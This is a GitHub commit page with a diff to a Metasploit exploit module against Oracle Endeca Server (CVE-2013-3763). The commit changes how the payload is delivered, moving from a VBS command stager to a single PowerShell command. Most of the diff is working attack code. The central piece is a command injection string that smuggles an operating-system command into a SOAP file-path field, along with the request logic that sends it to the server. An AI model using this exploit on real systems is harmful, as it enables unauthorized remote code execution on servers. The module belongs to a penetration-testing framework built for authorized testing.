Skip to content

Commit ad214da

Browse files
author
jvazquez-r7
committed
Switch to powershell to exec payload
1 parent 965e2d8 commit ad214da

File tree

1 file changed

+13
-10
lines changed

1 file changed

+13
-10
lines changed

modules/exploits/windows/http/oracle_endeca_exec.rb

Lines changed: 13 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
1111
Rank = ExcellentRanking
1212

1313
include Msf::Exploit::Remote::HttpClient
14-
include Msf::Exploit::CmdStagerVBS
14+
include Msf::Exploit::Powershell
1515

1616
def initialize
1717
super(
@@ -29,7 +29,7 @@ def initialize
2929
'juan vazquez' # Metasploit module
3030
],
3131
'Platform' => 'win',
32-
'Arch' => ARCH_X86, # Using ARCH_X86 because it's compatible with CmdStagerVBS
32+
'Arch' => [ ARCH_X86_64, ARCH_X86 ],
3333
'References' =>
3434
[
3535
[ 'CVE', '2013-3763' ],
@@ -40,7 +40,7 @@ def initialize
4040
],
4141
'Targets' =>
4242
[
43-
[ 'Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2', { } ]
43+
[ 'Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2 64 bits', { } ]
4444
],
4545
'DefaultTarget' => 0,
4646
'Privileged' => false,
@@ -131,21 +131,24 @@ def send_request_soap(data)
131131
end
132132

133133
def exploit
134-
print_status("#{peer} - Exploiting by deploying a VBS CMD Stager...")
135-
# Windows 2008 Command Prompt Max Length is 8191
136-
execute_cmdstager({ :delay => 0.35, :linemax => 7500 })
134+
command = cmd_psh_payload(payload.encoded)
135+
if command.length > 8000
136+
# Windows 2008 Command Prompt Max Length is 8191
137+
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
138+
end
139+
print_status("#{peer} - Exploiting through Powershell...")
140+
execute_command(command)
137141
end
138142

139-
def execute_command(cmd, opts)
140-
# To delete spaces priors to crlf lines since it is an observed behavior on Win 2008
141-
cmd.gsub!(/data = Replace\(data, vbCrLf, ""\)/, "data = Replace(data, \" \" + vbCrLf, \"\") : data = Replace(data, vbCrLf, \"\")")
143+
def execute_command(cmd)
142144
# HTML encode ampersands so SOAP is correctly interpreted
143145
cmd.gsub!(/&/, "&#x26;")
144146
injection = "c:\\&#x22;&#x26; #{cmd} &#x26;&#x22;"
145147
exploit_data = create_data_store_soap(rand_text_alpha(4), injection)
146148
begin
147149
res = send_request_soap(exploit_data)
148-
if res.nil? or res.code != 500 or res.body !~ /Error creating data files at/
150+
if res.nil? or res.code != 500 or ( res.body !~ /Error creating data files at/ and res.body !~ /Data files don't exist/ )
151+
print_status("#{res.code}\n#{res.body}") if res
149152
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to execute the CMD Stager")
150153
end
151154
rescue ::Rex::ConnectionError

0 commit comments

Comments
 (0)